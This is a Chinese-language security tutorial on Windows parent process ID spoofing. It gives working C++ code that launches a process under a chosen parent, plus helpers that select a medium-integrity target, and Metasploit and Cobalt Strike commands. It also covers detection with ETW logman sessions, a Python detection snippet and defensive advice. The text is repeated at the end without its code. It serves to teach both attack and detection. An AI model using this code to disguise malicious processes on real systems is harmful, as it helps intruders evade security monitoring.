Parent Process ID (PPID) Spoofing
字数 1196 2025-08-07 08:22:05

Parent Process ID (PPID) Spoofing 技术详解

0x00 前言

PPID Spoofing(父进程ID欺骗)是一种允许攻击者选择任意进程作为其恶意程序父进程的技术。本文将从原理、实现、检测和工具等方面全面解析这项技术。

0x01 目的和原理

技术目的

  • 逃避基于父/子进程关系的安全检测
  • 使恶意程序看起来由可信进程生成
  • 隐藏恶意活动的真实来源

基本原理

Windows系统中,进程默认继承创建它的父进程ID。通过修改CreateProcess函数的lpStartupInfo参数,可以指定任意进程作为新进程的父进程。

关键数据结构链:

CreateProcessA -> lpStartupInfo -> STARTUPINFOEX -> lpAttributeList -> InitializeProcThreadAttributeList -> UpdateProcThreadAttribute -> PROC_THREAD_ATTRIBUTE_PARENT_PROCESS

0x02 基础实现

核心代码实现

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

int main()
{
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));

    // 指定父进程PID
    HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 12896);

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 
                            &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, 
                  EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

    return 0;
}

关键API解析

  1. CreateProcessA: 创建新进程
    • 使用EXTENDED_STARTUPINFO_PRESENT标志启用扩展启动信息
  2. InitializeProcThreadAttributeList: 初始化线程属性列表
  3. UpdateProcThreadAttribute: 设置父进程属性
    • PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: 指定父进程的关键属性

0x03 代码优化与完善

自动获取父进程PID

DWORD getPPID(LPCWSTR processName) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, processName))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

处理权限问题

系统进程通常以SYSTEM完整性级别运行,普通程序无法访问。解决方案是只选择MEDIUM完整性级别的进程。

获取进程完整性级别

LPCWSTR getProcessIntegrityLevel(HANDLE hProcess, PDWORD pdwIntegrityLevel) {
    // ... [完整实现见原文]
    if (*pdwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) {
        return L"LOW";
    }
    else if (*pdwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && 
             *pdwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) {
        return L"MEDIUM";
    }
    // ... [其他级别判断]
}

改进的getPPID函数

DWORD getPPID(LPCWSTR processName) {
    // ... [初始化部分]
    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, processName)) {
                HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, process.th32ProcessID);
                if (hProcess) {
                    LPCWSTR integrityLevel = NULL;
                    DWORD dwIntegrityLevel;
                    integrityLevel = getProcessIntegrityLevel(hProcess, &dwIntegrityLevel);
                    if (!wcscmp(integrityLevel, L"MEDIUM")) {
                        flag = true;
                        break;
                    }
                }
            }
        } while (Process32Next(snapshot, &process));
    }
    // ... [清理和返回]
}

0x04 检测方法

使用ETW(Event Tracing for Windows)

检测步骤

  1. 查询Providers

    logman query providers Microsoft-Windows-Kernel-Process
    
  2. 创建跟踪会话

    logman create trace ppid-spoofing -p Microsoft-Windows-Kernel-Process 0x10 -ets
    
  3. 分析日志

    • 在事件查看器中打开生成的.etl文件
    • 检查Execution下的ProcessIDData下的ParentProcessID是否一致
    • 不一致则可能为PPID欺骗
  4. 终止会话

    logman stop ppid-spoofing -ets
    

检测原理

  • 真实父进程ID记录在Execution.ProcessID
  • 欺骗的父进程ID显示在Data.ParentProcessID
  • 排除UAC等合法情况(检查是否有appinfo服务)

Python检测脚本

# 检测逻辑核心
if event_data['ParentProcessID'] != event_header['ProcessID']:
    if not is_uac_event(event_data):
        print(f"Possible PPID Spoofing detected: {process_name}")

0x05 相关工具

利用工具

  1. Metasploit: set PPID <pid>
  2. Cobalt Strike: ppid <pid>
  3. 各种开源实现(见参考链接)

检测工具

  1. Python检测脚本
  2. C#实现

0x06 防御建议

  1. 监控进程创建事件,特别是异常父子关系
  2. 使用ETW持续收集进程创建日志
  3. 检查进程完整性级别异常变化
  4. 关注常见被利用的父进程(如svchost.exe, explorer.exe)

0x07 总结

PPID Spoofing是一种有效的防御规避技术,通过理解其原理和检测方法,安全团队可以更好地防御此类攻击。同时,这项技术常与其他技术如APC注入结合使用,需要综合防御。

Parent Process ID (PPID) Spoofing 技术详解 0x00 前言 PPID Spoofing(父进程ID欺骗)是一种允许攻击者选择任意进程作为其恶意程序父进程的技术。本文将从原理、实现、检测和工具等方面全面解析这项技术。 0x01 目的和原理 技术目的 逃避基于父/子进程关系的安全检测 使恶意程序看起来由可信进程生成 隐藏恶意活动的真实来源 基本原理 Windows系统中,进程默认继承创建它的父进程ID。通过修改 CreateProcess 函数的 lpStartupInfo 参数,可以指定任意进程作为新进程的父进程。 关键数据结构链: 0x02 基础实现 核心代码实现 关键API解析 CreateProcessA : 创建新进程 使用 EXTENDED_STARTUPINFO_PRESENT 标志启用扩展启动信息 InitializeProcThreadAttributeList : 初始化线程属性列表 UpdateProcThreadAttribute : 设置父进程属性 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS : 指定父进程的关键属性 0x03 代码优化与完善 自动获取父进程PID 处理权限问题 系统进程通常以SYSTEM完整性级别运行,普通程序无法访问。解决方案是只选择MEDIUM完整性级别的进程。 获取进程完整性级别 改进的getPPID函数 0x04 检测方法 使用ETW(Event Tracing for Windows) 检测步骤 查询Providers 创建跟踪会话 分析日志 在事件查看器中打开生成的.etl文件 检查 Execution 下的 ProcessID 和 Data 下的 ParentProcessID 是否一致 不一致则可能为PPID欺骗 终止会话 检测原理 真实父进程ID记录在 Execution.ProcessID 中 欺骗的父进程ID显示在 Data.ParentProcessID 中 排除UAC等合法情况(检查是否有 appinfo 服务) Python检测脚本 0x05 相关工具 利用工具 Metasploit: set PPID <pid> Cobalt Strike: ppid <pid> 各种开源实现(见参考链接) 检测工具 Python检测脚本 C#实现 0x06 防御建议 监控进程创建事件,特别是异常父子关系 使用ETW持续收集进程创建日志 检查进程完整性级别异常变化 关注常见被利用的父进程(如svchost.exe, explorer.exe) 0x07 总结 PPID Spoofing是一种有效的防御规避技术,通过理解其原理和检测方法,安全团队可以更好地防御此类攻击。同时,这项技术常与其他技术如APC注入结合使用,需要综合防御。